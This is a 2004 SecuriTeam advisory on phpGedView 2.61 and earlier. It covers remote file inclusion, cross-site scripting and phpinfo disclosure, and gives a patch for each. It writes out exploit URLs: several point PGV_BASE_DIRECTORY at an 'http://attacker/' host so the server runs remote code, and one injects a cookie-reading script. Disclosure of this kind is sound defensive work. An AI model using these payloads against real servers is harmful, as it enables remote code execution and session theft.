[UNIX] Multiple Vulnerabilities in phpGedView

From: SecuriTeam (support_at_securiteam.com)
Date: 01/07/04

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Date: 7 Jan 2004 15:27:51 +0200

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      Multiple Vulnerabilities in phpGedView
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpGedView.sourceforge.net> phpGedView is an open source system
    for online viewing Gedcom information (family tree and genology
    information). Multiple vulnerabilities exist in the phpGedView product.
    Some of the problems enable a malicious user to inject arbitrary PHP and
    SQL code or view sensitive system information.

    DETAILS

    Vulnerable Systems:
     * phpGedView version 2.61 and prior

    PHP code injection:
    The vulnerability exists in the following scripts: functions.php,
    authentication_index.php, and config_gedcom.php.

    In authentication_index.php file at line 33:
    require $PGV_BASE_DIRECTORY."authenticate.php";

    In functions.php file at line 35:
    require($PGV_BASE_DIRECTORY."functions_print.php");

    In config_gedcom.php file at line 115:
    if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
    require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
    else {
    $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
    require($THEME_DIR."theme.php");

    Exploits:
    http://target/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://attacker/

    The above exploit will cause the script named authenticate.php to include
    the file found in http://attacker/.

    http://target/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://attacker/
    http://target/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://attacker/

    Similarly, the above exploits will cause an inclusion of an external file.

    Fix:
    In each of the vulnerable files, add the following line in the beginning
    of file:
    Require (config.php);

    Cross Site Scripting:
    A cross-site scripting vulnerability exists in the search.php file.

    Exploit:
    http://localhost/phpgedview/search.php?action=soundex&firstname=">&lt;script&gt;alert(document.cookie)&lt;/script&gt;

    Fix:
    < input type="text" name="firstname" value="<?php if ($action=="soundex")
    print $firstname; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
    < input type="text" name="lastname" value="<?php if ($action=="soundex")
    print $lastname; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
    < input type="text" name="place" value="<?php if ($action=="soundex")
    print $place; size="20" ?>" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
    < input type="text" name="year" value="<?php if ($action=="soundex") print
    $year; size="20" ?>" /></td></tr>

    With:
    < input type="text" name="firstname" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["lastname_search"]?></td>< td>
    < input type="text" name="lastname" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_place"]?></td>< td>
    < input type="text" name="place" value="" /></td></tr>
    < tr>< td><?php print $pgv_lang["search_year"]?></td>< td>
    < input type="text" name="year" value="" /></td></tr>

    phpinfo() Disclosure:
    The PHP server information is accessible to anyone (even unauthenticated
    users).

    Exploit:
    http://target/phpgedview_folder/admin.php?action=phpinfo

    Fix:
    Replace:
    if (!isset($action)) $action="";
    if ($action=="phpinfo") {
    phpinfo();
    exit;
    }

    if (!userIsAdmin(getUserName())) {
    header("Location: login.php?url=admin.php");
    exit;
    }

    With:
    if (!userIsAdmin(getUserName())) {
    header("Location: login.php?url=admin.php");
    exit;
    }
    if (!isset($action)) $action="";
    if ($action=="phpinfo") {
    phpinfo();
    exit;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@security.com.vn>
    Windak

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